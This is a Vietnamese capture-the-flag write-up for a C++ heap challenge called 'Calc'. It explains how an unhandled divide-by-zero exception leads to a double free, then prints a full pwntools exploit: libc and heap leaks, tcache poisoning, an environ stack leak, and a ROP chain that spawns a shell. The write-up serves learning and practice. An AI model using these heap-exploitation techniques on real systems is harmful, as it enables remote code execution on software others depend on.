pwn - Calc
Welcome to Calculator Pro Max - where mathematics meets management!
Chúng ta đến với bài pwn cuối cùng của giải - Calc, chỉ có 2 solves duy nhất. Khi vừa mới dịch ngược, mình cảm thấy hơi bỡ ngỡ và hơi choáng, vì đây là lần đầu mình gặp chương trình viết bằng C++. Lúc đầu mình thử tự làm, tự mày mò với AI, mất khá nhiều thời gian nhưng cũng không tìm được gì hữu ích để chiếm được RCE. Nên mình đã lên discord và xin hint của các cao nhân, cuối cùng mình cũng giải được :).
Mình thấy bài này hay thực sự, attack chain đối với mình khá phức tạp. Mình đã dành ra gần 3 ngày nghiên cứu bài này, và đã học thêm được nhiều thứ mới.

Setup

Bài cho mình Dockerfile, nên mình sẽ build và lấy ra các thư viện cần thiết:
FROM ubuntu:22.04
MAINTAINER anonymous
RUN apt-get update
RUN useradd -m dummy
RUN apt-get install -y socat
WORKDIR /home/dummy
ADD ./flag /
ADD ./calc /home/dummy
RUN chmod +x /home/dummy/calc
ENTRYPOINT ["sh", "-c", "exec socat TCP-LISTEN:1337,reuseaddr,fork EXEC:/home/dummy/calc"]
EXPOSE 1337ngtuonghung@ubuntu:~/ctfs/public$ echo FLAG{THIS_IS_A_TEST_FLAG} > flag
ngtuonghung@ubuntu:~/ctfs/public$ docker build -t calc .
Netcat đến challenge rồi mình attach gdb vào process đang chạy để lấy ra path của các thư viện:


Ngoài libc và ld ra, mình còn có thêm libm, libgcc, libstdc++ nữa. Mình copy hết ra thư mục hiện tại:
ngtuonghung@ubuntu:~/ctfs/public$ docker cp 71090578b7c9:/usr/lib/x86_64-linux-gnu/libm.so.6 .
Successfully copied 943kB to /home/ngtuonghung/ctfs/public/.
ngtuonghung@ubuntu:~/ctfs/public$ docker cp 71090578b7c9:/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.22MB to /home/ngtuonghung/ctfs/public/.
ngtuonghung@ubuntu:~/ctfs/public$ docker cp 71090578b7c9:/usr/lib/x86_64-linux-gnu/libgcc_s.so.1 .
Successfully copied 127kB to /home/ngtuonghung/ctfs/public/.
ngtuonghung@ubuntu:~/ctfs/public$ docker cp 71090578b7c9:/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30 .
Successfully copied 2.26MB to /home/ngtuonghung/ctfs/public/.
ngtuonghung@ubuntu:~/ctfs/public$ docker cp 71090578b7c9:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 243kB to /home/ngtuonghung/ctfs/public/.
ngtuonghung@ubuntu:~/ctfs/public$ chmod +x libm.so.6 libc.so.6 libgcc_s.so.1 libstdc++.so.6.0.30 ld-linux-x86-64.so.2Sau khi copy xong, mình cần phải patch binary để nó sử dụng các thư viện này. Lần đầu tiên mình pwn C++ nên cũng mất kha khá thời gian ngồi patch. Mình nhận ra là các thư viện này nó cũng sử dụng lẫn nhau, không chỉ là mỗi binary chính. Mình sử dụng readelf để xem cái nào phụ thuộc cái nào rồi patch cho đúng và đủ:
(venv) ngtuonghung@ubuntu:~/ctfs/public$ ls
calc description.txt Dockerfile flag ld-linux-x86-64.so.2 libc.so.6 libgcc_s.so.1 libm.so.6 libstdc++.so.6.0.30
(venv) ngtuonghung@ubuntu:~/ctfs/public$ readelf -d calc | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [libstdc++.so.6]
0x0000000000000001 (NEEDED) Shared library: [libgcc_s.so.1]
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
(venv) ngtuonghung@ubuntu:~/ctfs/public$ readelf -d libgcc_s.so.1 | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
(venv) ngtuonghung@ubuntu:~/ctfs/public$ readelf -d libm.so.6 | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-x86-64.so.2]
(venv) ngtuonghung@ubuntu:~/ctfs/public$ readelf -d libstdc++.so.6.0.30 | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [libm.so.6]
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-x86-64.so.2]
0x0000000000000001 (NEEDED) Shared library: [libgcc_s.so.1]Mình sử dụng https://github.com/sasha-999/pwninit.py vì ngoài libc và ld ra, nó còn xử lý libstdc++ và libgcc. Sau đó mình cần patch thêm các thư viện kia:
(venv) ngtuonghung@ubuntu:~/ctfs/public$ ~/Tools/pwninit.py/pwninit.py --bin calc
[*] bin: calc (arch = 'amd64')
[*] libc: ./libc.so.6
[*] libc version: (Ubuntu GLIBC 2.35-0ubuntu3.11) stable release version 2.35.
[*] ld: ./ld-linux-x86-64.so.2
[*] Finding stripped libraries to unstrip
[*] Unstripping './libstdc++.so.6.0.30', './libgcc_s.so.1'
[*] Fetching debug symbols from https://launchpad.net/ubuntu/+archive/primary/+files/libc6-dbg_2.35-0ubuntu3.11_amd64.deb
[-] Failed to get debug symbols for './libstdc++.so.6.0.30'
[-] Failed to get debug symbols for './libgcc_s.so.1'
[*] Patching binary manually
[*] Symlinking './ld' -> './ld-linux-x86-64.so.2'
[*] Symlinking './libstdc++' -> './libstdc++.so.6.0.30'
[*] Symlinking './libgcc_s' -> './libgcc_s.so.1'
[*] Symlinking './libc' -> './libc.so.6'
[+] Successfully wrote patched binary to 'calc_patched'
[*] Writing solve.py
[+] Successfully written solve.py
(venv) ngtuonghung@ubuntu:~/ctfs/public$ patchelf --set-rpath '$ORIGIN' ./libstdc++
(venv) ngtuonghung@ubuntu:~/ctfs/public$ patchelf --set-rpath '$ORIGIN' ./libgcc_s
(venv) ngtuonghung@ubuntu:~/ctfs/public$ patchelf --set-rpath '$ORIGIN' ./libm.so.6Mình kiểm tra lại bằng ldd để xem các path đã đúng chưa:
(venv) ngtuonghung@ubuntu:~/ctfs/public$ ldd calc_patched
linux-vdso.so.1 (0x000072462dbae000)
./libstdc++ (0x000072462d800000)
./libgcc_s (0x000072462db7c000)
./libc (0x000072462d400000)
libm.so.6 => /home/ngtuonghung/ctfs/public/./libm.so.6 (0x000072462da8f000)
./ld => /lib64/ld-linux-x86-64.so.2 (0x000072462dbb0000)
(venv) ngtuonghung@ubuntu:~/ctfs/public$ ldd libstdc++
linux-vdso.so.1 (0x0000763c41893000)
libm.so.6 => /home/ngtuonghung/ctfs/public/./libm.so.6 (0x0000763c41513000)
libc.so.6 => /home/ngtuonghung/ctfs/public/./libc.so.6 (0x0000763c41200000)
/lib64/ld-linux-x86-64.so.2 (0x0000763c41895000)
libgcc_s.so.1 => /home/ngtuonghung/ctfs/public/./libgcc_s.so.1 (0x0000763c414f1000)
(venv) ngtuonghung@ubuntu:~/ctfs/public$ ldd libgcc_s
linux-vdso.so.1 (0x0000709b18a1a000)
libc.so.6 => /home/ngtuonghung/ctfs/public/./libc.so.6 (0x0000709b18600000)
/lib64/ld-linux-x86-64.so.2 (0x0000709b18a1c000)
(venv) ngtuonghung@ubuntu:~/ctfs/public$ ldd libm.so.6
linux-vdso.so.1 (0x000079d82db35000)
libc.so.6 => /home/ngtuonghung/ctfs/public/./libc.so.6 (0x000079d82d800000)
/lib64/ld-linux-x86-64.so.2 (0x000079d82db37000)Ok, binary chạy ngon lành rồi:
(venv) ngtuonghung@ubuntu:~/ctfs/public$ ./calc_patched
1. Add calc
2. Calculate
3. Delete calc
4. Modify calc
5. Exit
>> GLIBC Version
Mình cũng xác định luôn phiên bản Glibc được sử dụng, bởi có thể giúp cho việc exploit sau này.
ngtuonghung@ubuntu:~/ctfs/public$ strings libc.so.6 | grep "GLIBC "
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.11) stable release version 2.35.Source Code
Mình sử dụng Ghidra xuất toàn bộ pseudo code ra một file rồi ném cho Claude. Sau một hồi trò chuyện qua lại, tinh chỉnh code, mình được file code như sau:
Mình yêu cầu Claude giải thích tổng quan chương trình, cũng như là các struct, method quan trọng, chúng phục vụ cho mục đích gì. Mình để y nguyên output dưới đây.
Overview
Đây là một chương trình Calculator Manager - quản lý nhiều máy tính với các biểu thức toán học khác nhau. Chương trình:
- Cho phép tạo nhiều calculator với tên riêng
- Mỗi calculator lưu một biểu thức toán học
- Parse biểu thức thành cây AST (Abstract Syntax Tree)
- Tính toán kết quả khi được yêu cầu
Token
struct Token {
ulong value; // Giá trị số (nếu là CONST)
int type; // Loại token (ADD, SUB, MUL, DIV, CONST, OPENPARENT, CLOSEPARENT)
int padding; // Padding để căn chỉnh bộ nhớ
struct Token *next; // Con trỏ đến token tiếp theo (linked list)
};Chức năng:
- Đại diện cho một đơn vị trong biểu thức (token)
- Là một node trong linked list các token
- Lưu trữ thông tin về loại token và giá trị (nếu là số)
Methods quan trọng:
GetType()- Lấy loại của tokenGetNum()- Lấy giá trị sốGetNext()- Lấy token tiếp theoIsOp(TokenType)- Kiểm tra có phải operator không (+, -, *, /)SetNext(Token*)- Thiết lập token tiếp theo
Scanner
struct Scanner {
uchar *buf_start; // Con trỏ đầu buffer biểu thức
uchar *buf_cur_ptr; // Con trỏ hiện tại khi scan
uchar *buf_end; // Con trỏ cuối buffer
struct Token *token_head; // Đầu danh sách token
struct Token *token_tail; // Cuối danh sách token
struct Token *current_token; // Token hiện tại đang xử lý
};Chức năng:
- Quét (scan/lex) chuỗi biểu thức thành các token
- Quản lý danh sách token dưới dạng linked list
- Validate cú pháp của biểu thức
Methods quan trọng:
Parse()- Phân tích chuỗi thành tokens (tokenization/lexing)Validate()- Kiểm tra tính hợp lệ của biểu thức (cặp ngoặc, vị trí operator)GetCur()- Lấy token hiện tạiNext()- Di chuyển đến token tiếp theoGetNumber()- Đọc một số từ bufferIsNumber(uchar)- Kiểm tra ký tự có phải số khôngAddToken(Token*)- Thêm token vào danh sách
Expr
struct Expr {
ulong value; // Giá trị (nếu là node lá - số)
struct Expr *left; // Con trỏ đến biểu thức con bên trái
struct Expr *right; // Con trỏ đến biểu thức con bên phải
int op_type; // Loại operator (ADD, SUB, MUL, DIV) hoặc CONST
int padding; // Padding căn chỉnh
};Chức năng:
- Đại diện cho một node trong cây biểu thức (Expression Tree/AST)
- Node lá: chứa giá trị số (op_type = CONST, left=right=NULL)
- Node nhánh: chứa operator và 2 biểu thức con
Methods quan trọng:
GetResult()- Tính toán và trả về kết quả của (sub)tree này (recursive)GetPrior(OP)- Lấy độ ưu tiên của operator (*, / = 2; +, - = 1)
Calculator
struct Calculator {
char *description; // Mô tả của calculator
uint des_size; // Kích thước của description
uint padding; // Padding
char *expression; // Chuỗi biểu thức gốc
char *name; // Tên calculator (std::string - 8 bytes pointer)
size_t name_size; // Kích thước tên
size_t name_capacity; // Dung lượng đã cấp phát
size_t padding_; // Padding
struct Expr *expr_tree; // Cây biểu thức đã parse
struct Calculator *next; // Calculator tiếp theo (linked list)
};Chức năng:
- Quản lý một máy tính với tên, mô tả và biểu thức riêng
- Lưu trữ cây biểu thức đã parse
- Là một node trong linked list các calculator
Methods quan trọng:
Calculator(char*, uint, string, Scanner*)- Constructor: khởi tạo calculator từ mô tả, tên và scannerGetResult()- Tính toán kết quả của biểu thức và in raParseExprWithParent(Scanner*)- Parse biểu thức có dấu ngoặc thành câyParseExprNoParent(Scanner*)- Parse biểu thức không có ngoặc (số hoặc biểu thức con)GetOP(Scanner*)- Lấy operator từ token hiện tạiGetName()- Lấy tên calculatorGetDescription()- Lấy mô tảGetDesSize()- Lấy kích thước mô tảGetNext()/SetNext()- Quản lý linked list
Functionality
main()
- Khởi tạo biến
choiceđể lưu lựa chọn của user - Vòng lặp vô hạn:
- In menu với 5 lựa chọn
- Đọc input từ user vào
choice - Switch-case xử lý theo choice:
- Choice 1: Gọi
addCalc() - Choice 2: Calculate - tìm calculator theo tên, gọi
GetResult(), sau đó xóa nó - Choice 3: Delete - tìm calculator theo tên và xóa
- Choice 4: Modify - tìm calculator theo tên và gọi
modifyCalc() - Choice 5: Exit - thoát chương trình
- Default: In “Invalid choice!”
- Choice 1: Gọi
- Nếu choice != 5 thì tiếp tục loop
Choice 1: Add Calc
- Nhập
sizecho biểu thức - Kiểm tra size <= 1280, nếu không thì throw exception
- Cấp phát buffer
expr_bufvới kích thướcsize - Đọc biểu thức vào
expr_bufbằngread() - Tạo Scanner từ
expr_buf - Gọi
Scanner::Parse()để tokenize biểu thức - Gọi
Scanner::Validate()để kiểm tra tính hợp lệ - Nhập tên cho calculator
- Kiểm tra tên đã tồn tại chưa bằng
findCalc()- nếu có thì throw exception - Nhập
sizecho description - Kiểm tra size <= 1280, nếu không thì throw exception
- Cấp phát
description_bufvà memset về 0 - Đọc description vào buffer
- Tạo Calculator mới với các thông tin trên
- Parse biểu thức thành cây trong constructor
- Thêm Calculator vào đầu linked list global
calc - In “Done!”
Choice 2: Calculate
- Nhập tên calculator cần tính
- Tìm calculator bằng
findCalc(name) - Nếu không tìm thấy → throw exception
- Gọi
Calculator::GetResult():- In expression gốc
- In name
- In description
- Gọi
Expr::GetResult()đệ quy để tính toán - In kết quả
- Free description và expr_tree
- Set con trỏ về NULL
- Sau đó xóa calculator khỏi linked list bằng
DeleteCalc(name) - In “Done!”
Choice 3: Delete Calc
- Nhập tên calculator cần xóa
- Gọi
DeleteCalc(name):- Tìm calculator bằng
findCalc() - Assert nếu không tìm thấy
- Duyệt linked list với 2 con trỏ
prevvàcur - Khi tìm thấy calculator khớp tên:
- Nếu là node đầu: cập nhật
calcglobal = node tiếp theo - Nếu không: cập nhật
prev->next=cur->next
- Nếu là node đầu: cập nhật
- Gọi destructor
Calculator::~Calculator() - Free memory của Calculator
- Tìm calculator bằng
- In “Done!”
Choice 4: Modify Calc
- Nhập tên calculator cần modify
- Tìm calculator bằng
findCalc(name) - Nếu không tìm thấy → throw exception
- Gọi
modifyCalc(Calculator*):- Lấy
des_sizetừ calculator - Lấy con trỏ
descriptiontừ calculator - In “Description: "
- Đọc trực tiếp vào vùng nhớ description cũ bằng
read(0, description, des_size) - In “Done!”
- Lấy
Helper: findCalc()
- Duyệt linked list
calctừ đầu - Với mỗi calculator:
- Lấy tên bằng
GetName() - So sánh với
namecần tìm - Nếu khớp → return con trỏ calculator
- Lấy tên bằng
- Nếu không tìm thấy → return NULL
Helper: DeleteCalc()
- Assert rằng calculator với
nametồn tại - Duyệt linked list với
prevvàcur - Tìm node khớp tên:
- Unlink khỏi list (cập nhật prev->next hoặc head)
- Gọi destructor
- Free memory
- Return
Mitigation

Glibc phiên bản 2.35 nên không có hook overwrite. Mitigations cũng bật hết, Full RELRO thì ko có GOT overwrite rồi, NX enabled thì không có shellcode. Return address overwrite thì có thể cần leak canary,…
Solve
Lúc đầu khi tự mày mò, mình mất thời gian tập trung vào tìm những thứ như buffer overflow, type confusion, use after free, nhưng mãi không ra được cái gì có ích cho RCE. Sau đấy mình lên discord xin chút hint, và mình mới nhận ra rằng mã nguồn có sử dụng các block try-catch, và lỗ hổng nằm ở chỗ việc xử lý các block này không được an toàn. Vì mình chưa gặp bài pwn nào có try-catch, và Ghidra cũng không thể hiện rõ ràng, nên mình hoàn toàn không biết là có try-catch trong chương trình.
Xử lý không an toàn, cụ thể là trong trường hợp user addCalc() và nhập vào một expression có chứa phép chia cho 0, ví dụ như 1/0, sau đó Calculator::GetResult() để tính kết quả, thì chương trình sẽ throw một exception tại hàm Expr::GetResult():
if (right_result == 0) {
exception = (string *)__cxa_allocate_exception(0x20);
std::allocator<char>::allocator();
// try { // try from 0010451b to 0010451f has its CatchHandler @ 001045e0
std::__cxx11::string::string<>(exception,"Divided by zero",&exception_msg);
std::allocator<char>::~allocator((allocator<char> *)&exception_msg);
// WARNING: Subroutine does not return
__cxa_throw(exception,&std::__cxx11::string::typeinfo,std::__cxx11::string::~string); // <----- HERE
}Vì ở đây không có catch handler nào cho exception “Divided by zero” nên nó được ném lên caller của Expr::GetResult(), đó là Calculator::GetResult().
Lưu ý ở đây có 2 exception. Exception ở trên có catcher handler tại 0x001045e0 là của việc khởi tạo exception_msg. Còn exception chính là ở dưới, “Divided by zero”.
Để ý trong Callculator::GetResult() cũng không có catch handler nào.
stream = std::operator<<((ostream *)std::cout,"Expression: ");
stream = std::operator<<(stream,this->expression);
std::ostream::operator<<(stream,std::endl<>);
stream = std::operator<<((ostream *)std::cout,"Name: ");
stream = std::operator<<(stream,(string *)&this->name);
std::ostream::operator<<(stream,std::endl<>);
stream = std::operator<<((ostream *)std::cout,"Description: ");
stream = std::operator<<(stream,this->description);
std::ostream::operator<<(stream,std::endl<>);
stream = std::operator<<((ostream *)std::cout,"Result: ");
result = Expr::GetResult(this->expr_tree); // <----- HERE
stream = (ostream *)std::ostream::operator<<(stream,result);
std::ostream::operator<<(stream,std::endl<>);Vì thế exception lại được ném lên trên, là main():
if ((choice == 0) || (1 < choice - 2)) goto INVALID_CHOICE;
stream = std::operator<<((ostream *)std::cout,"Name: ");
std::ostream::operator<<(stream,std::flush<>);
std::operator>>((istream *)std::cin,tmp_buf);
std::__cxx11::string::string(name_buf,tmp_buf);
// try { // try from 0010325a to 0010325e has its CatchHandler @ 00103489
Calc = (Calculator *)findCalc(name_buf);
std::__cxx11::string::~string(name_buf);
if (Calc == (Calculator *)0x0) {
exception = (string *)__cxa_allocate_exception(0x20);
std::allocator<char>::allocator();
// try { // try from 001032a3 to 001032a7 has its CatchHandler @ 001034a7
std::__cxx11::string::string<>(exception,"Cald does not exist",&exception_msg);
std::allocator<char>::~allocator((allocator<char> *)&exception_msg);
// WARNING: Subroutine does not return
// try { // try from 001032cb to 001032f6 has its CatchHandler @ 00103529
__cxa_throw(exception,&std::__cxx11::string::typeinfo,std::__cxx11::string::~string);
}
if (choice == 2) {
Calculator::GetResult(Calc); // <----- HERE
}
std::__cxx11::string::string(name_buf,tmp_buf);
// try { // try from 001032fe to 00103302 has its CatchHandler @ 001034cd
DeleteCalc(name_buf);
std::__cxx11::string::~string(name_buf);
// try { // try from 00103323 to 00103392 has its CatchHandler @ 00103529
stream = std::operator<<((ostream *)std::cout,"Done!");
std::ostream::operator<<(stream,std::endl<>);Địa chỉ của lời gọi Calculator::GetResult() là 0x001032df. Nhìn vào comment này // try { // try from 001032cb to 001032f6 has its CatchHandler @ 00103529 thì mình biết được catch handler của nó nằm tại 0x00103529.
undefined8 UndefinedFunction_00103529(undefined8 param_1,undefined8 param_2,long param_3)
{
uint uVar1;
bool bVar2;
undefined8 uVar3;
string *psVar4;
ostream *poVar5;
long unaff_RBP;
long in_FS_OFFSET;
if (param_3 != 1) {
std::__cxx11::string::~string((string *)(unaff_RBP + -0x70));
/* WARNING: Subroutine does not return */
_Unwind_Resume();
}
psVar4 = (string *)__cxa_get_exception_ptr();
std::__cxx11::string::string((string *)(unaff_RBP + -0x50),psVar4);
__cxa_begin_catch();
/* try { // try from 00103577 to 0010358d has its CatchHandler @ 001035a4 */
poVar5 = std::operator<<((ostream *)std::cout,(string *)(unaff_RBP + -0x50));
std::ostream::operator<<(poVar5,std::endl<>);
std::__cxx11::string::~string((string *)(unaff_RBP + -0x50));
/* try { // try from 0010359a to 0010359e has its CatchHandler @ 001035be */
__cxa_end_catch();
LAB_00103451:
bVar2 = true;
while( true ) {
std::__cxx11::string::~string((string *)(unaff_RBP + -0x70));
if (!bVar2) {
if (*(long *)(unaff_RBP + -0x28) != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
std::__cxx11::string::string((string *)(unaff_RBP + -0x70));
/* try { // try from 001030af to 001031b2 has its CatchHandler @ 001035be */
poVar5 = std::operator<<((ostream *)std::cout,"1. Add calc");
std::ostream::operator<<(poVar5,std::endl<>);
poVar5 = std::operator<<((ostream *)std::cout,"2. Calculate");
std::ostream::operator<<(poVar5,std::endl<>);
poVar5 = std::operator<<((ostream *)std::cout,"3. Delete calc");
std::ostream::operator<<(poVar5,std::endl<>);
poVar5 = std::operator<<((ostream *)std::cout,"4. Modify calc");
std::ostream::operator<<(poVar5,std::endl<>);
poVar5 = std::operator<<((ostream *)std::cout,"5. Exit");
std::ostream::operator<<(poVar5,std::endl<>);
poVar5 = std::operator<<((ostream *)std::cout,">> ");
std::ostream::operator<<(poVar5,std::flush<>);
...
...Nhìn vào handler mình thấy sau khi nó xử lý xong exception (in ra exception_msg) thì nó tiếp tục thực thi code nhìn giống giống hàm main(). Mình thấy hơi lú lú đoạn này. Hỏi Claude thì mình nhận ra là sau khi xử lý xong exception, chương trình tiếp tục quay trở về thực thi hàm main(), tiếp tục ở vòng lặp mới. Ghidra không phân biệt được nên đã tách làm 2 hàm riêng biệt, chỉ đưa ra được là khi gặp exception thì chuyển thực thi đến 0x00103529.
Rồi, vậy khi gặp exception, thì các đoạn code ở dưới lời gọi Expr::GetResult() sẽ không được thực thi:
result = Expr::GetResult(this->expr_tree);
// STOP HERE
stream = (ostream *)std::ostream::operator<<(stream,result);
std::ostream::operator<<(stream,std::endl<>);
if (this->description != (char *)0x0) {
operator_delete__(this->description);
}
expr_tree = this->expr_tree;
if (expr_tree != (Expr *)0x0) {
Expr::~Expr(expr_tree);
operator_delete(expr_tree,0x20);
}
this->expr_tree = (Expr *)0x0;
this->description = (char *)0x0;Đoạn code dưới lời gọi Calculator::GetResult() trong main() cũng vậy:
if (choice == 2) {
Calculator::GetResult(Calc);
}
// STOP HERE
std::__cxx11::string::string(name_buf,tmp_buf);
// try { // try from 001032fe to 00103302 has its CatchHandler @ 001034cd
DeleteCalc(name_buf);
std::__cxx11::string::~string(name_buf);
// try { // try from 00103323 to 00103392 has its CatchHandler @ 00103529
stream = std::operator<<((ostream *)std::cout,"Done!");
std::ostream::operator<<(stream,std::endl<>);Dẫn đến là expr_tree và description không được free, và chính cái calc cũng không được free (DeleteCalc). Nhưng để ý rằng trong Expr::GetResult() đã free 2 node Expr con:
left_result = GetResult(this->left);
right_result = GetResult(this->right);
pEVar2 = this->left;
if (pEVar2 != (Expr *)0x0) {
~Expr(pEVar2);
operator_delete(pEVar2,0x20);
}
pEVar2 = this->right;
if (pEVar2 != (Expr *)0x0) {
~Expr(pEVar2);
operator_delete(pEVar2,0x20);
}Chỗ nguy hiểm đó là 2 node con này được free nhưng con trỏ không đặt về null. Vậy nếu chúng ta tạo một Calc với expression là 1/0, việc chọn Calculate 2 lần sẽ dẫn đến lỗ hổng double free.
Đây là lỗ hổng cốt lõi ở bài này để mình chiếm được RCE. Dưới đây là script exploit của mình, mình đã ghi chú chi tiết từng bước:
Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("calc_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "localhost"
port = 1337
return remote(host, port)
p = conn()
def addCalc(size, expr, name, des_size, description):
slan(p, b'>>', 1)
slan(p, b'Size:', size)
sa(p, b'Expr:', expr)
sla(p, b'Name:', name)
slan(p, b'size:', des_size)
sa(p, b'Description:', description)
def calculate(name):
slan(p, b'>>', 2)
sla(p, b'Name:', name)
def deleteCalc(name):
slan(p, b'>>', 3)
sla(p, b'Name:', name)
def modifyCalc(name, description):
slan(p, b'>>', 4)
sla(p, b'Name:', name)
sa(p, b'Description:', description)
### Leak libc base và heap base
# Cấp phát expr có size 0x420 để khi free sẽ đi vào unsorted bin
# và fd pointer sẽ trỏ đến main arena trong libc
addCalc(0x420, b'1+1', b'unsortedbin', 0x80, b'A')
deleteCalc(b'unsortedbin')
# Cấp phát lại chunk này để leak:
# - expr để leak libc address
# - description để leak heap address
# Description size 0x10 để tận dụng các chunk Token có sẵn trong tcache entry 0x20
# (các Token có next pointer trỏ đến heap và không bị encode)
addCalc(0x420, b'1', b'unsortedbin', 0x10, b'A' * 0x10)
calculate(b'unsortedbin')
# Leak libc address
ru(p, b'Expression: ')
libc.address = u64(rc(p, 6).ljust(8, b'\x00')) - 0x21ac31
print(f'libc base: {hex(libc.address)}')
# Leak heap address
ru(p, b'A' * 0x10)
heap_base = u64(rc(p, 6).ljust(8, b'\x00')) - 0x137c0
print(f'heap base: {hex(heap_base)}')
### Double free
# Làm đầy tcache entry 0x30 trước khi thực hiện double free trong fastbin
# (vì cơ chế check double free ở fastbin lỏng lẻo hơn tcache)
# Khởi tạo 9 chunk cho Token
addCalc(0x80, b'1+1', b'dummy1', 0x80, b'A')
addCalc(0x80, b'1+1', b'dummy2', 0x80, b'A')
addCalc(0x80, b'1+1', b'dummy3', 0x80, b'A')
# Cấp phát calc với description size 0x300 để sau này ghi đè tcache perthread struct
addCalc(0x80, b'1', b'tcache', 0x300, b'A')
# Cấp phát expr chia cho 0 để kích hoạt double free
addCalc(0x80, b'1/0', b'doublefree', 0x80, b'A')
# Làm đầy tcache entry 0x30 bằng các Token chunk
deleteCalc(b'dummy1')
deleteCalc(b'dummy2')
deleteCalc(b'dummy3')
# Free calc tcache để có chunk trong tcache entry 0x310
# (phục vụ cho việc ghi đè tcache perthread struct sau này)
deleteCalc(b'tcache')
# Thực hiện double free trong fastbin
calculate(b'doublefree')
calculate(b'doublefree')
### Use after free
# Dọn dẹp tcache entry 0x30 bằng cách cấp phát 7 Token
addCalc(0x80, b'1+1+1+1', b'doublefree', 0x80, b'A')
# Fastbin entry 0x30 hiện có dạng: X -> A -> B <- A
# Tcache entry 0x30 đã trống
# Mục tiêu: cấp phát chunk A hai lần, sau đó free một trong hai pointer
# để tạo use after free với pointer còn lại
# Cấp phát expr size 0x20 (lấy X)
# -> Ptmalloc chuyển A -> B <- A lên tcache entry 0x30
# Cấp phát description size 0x20 (lấy A)
# Cấp phát Token (lấy B)
addCalc(0x20, b'1', b'dummy4', 0x20, b'HELLO')
# Cấp phát description size 0x20 lần nữa (lấy A lần thứ hai)
# Data 'WORLD' sẽ ghi đè lên 'HELLO'
addCalc(0x80, b'1', b'uaf', 0x20, b'WORLD')
# Free để tạo use after free
deleteCalc(b'dummy4')
### Kiểm soát toàn bộ tcache
# Thực hiện tcache poisoning trên tcache entry 0x310 để trỏ đến tcache perthread struct
# Từ đó kiểm soát được toàn bộ tcache entries
# Poison tcache entry 0x310
tcache_0x310 = heap_base + 0x200
# Tính địa chỉ chunk của description (đang chứa 'WORLD') để encode fd
# (glibc 2.35 yêu cầu encode fd pointer trong tcache)
uaf_desc_addr = heap_base + 0x13b90
modifyCalc(b'uaf', p64(tcache_0x310 ^ (uaf_desc_addr >> 12)))
addCalc(0x80, b'1', b'dummy5', 0x20, b'A')
# Poison tcache entry 0x310 để trỏ đến tcache perthread struct
tcache_base = heap_base + 0x10
addCalc(0x80, b'1', b'tcache_0x310', 0x20, flat(
0,
tcache_base
))
### Leak stack address
# Tạo payload để khi cấp phát đến tcache perthread struct
# sẽ đặt tcache entry 0x60 trỏ đến environ trong libc để leak địa chỉ stack
pl = p16(0) * 4
pl += p16(1)
pl = pl.ljust(128, b'\0')
pl += p64(0) * 4
pl += p64(libc.symbols['environ'] - 0x50)
addCalc(0x80, b'1', b'tcache', 0x300, pl)
# Leak địa chỉ trên stack thông qua environ
addCalc(0x80, b'1/0', b'environ', 0x50, b'A' * 0x50)
calculate(b'environ')
print(f'environ address: {hex(libc.symbols["environ"])}')
ru(p, b'A' * 0x50)
environ = u64(rc(p, 6).ljust(8, b'\x00'))
print(f'environ: {hex(environ)}')
# Tính toán vị trí saved rbp và return address của hàm addCalc
# để thực hiện return address overwrite và ROP chain
saved_rbp = environ + 0x128
print(f'saved rbp: {hex(saved_rbp)}')
addCalc_return_addr = environ - 0x1b0
print(f'addCalc return addr: {hex(addCalc_return_addr)}')
### ROP chain
# Poison tcache entry 0x70 để trỏ đến vị trí saved rbp
pl = p16(0) * 5
pl += p16(1)
pl = pl.ljust(128, b'\0')
pl += p64(0) * 5
pl += p64(addCalc_return_addr - 0x8)
modifyCalc(b'tcache', pl)
# Cấp phát description size 0x60 để ghi ROP chain
# ROP chain thực hiện syscall execve("/bin/sh", NULL, NULL)
addCalc(0x80, b'1', b'rop', 0x60, flat(
saved_rbp,
# pop rdi; ret
libc.address + 0x000000000002a3e5,
next(libc.search(b'/bin/sh')),
# pop rsi; ret
libc.address + 0x000000000002be51,
0,
# pop rdx; pop r12; ret
libc.address + 0x000000000011f357,
0,
0,
# pop rax; ret
libc.address + 0x0000000000045eb0,
0x3b,
# syscall
libc.address + 0x0000000000029db4
))
rr(p, 1)
# Spawn shell
print("ROP chain done, spawning shell:")
ia(p)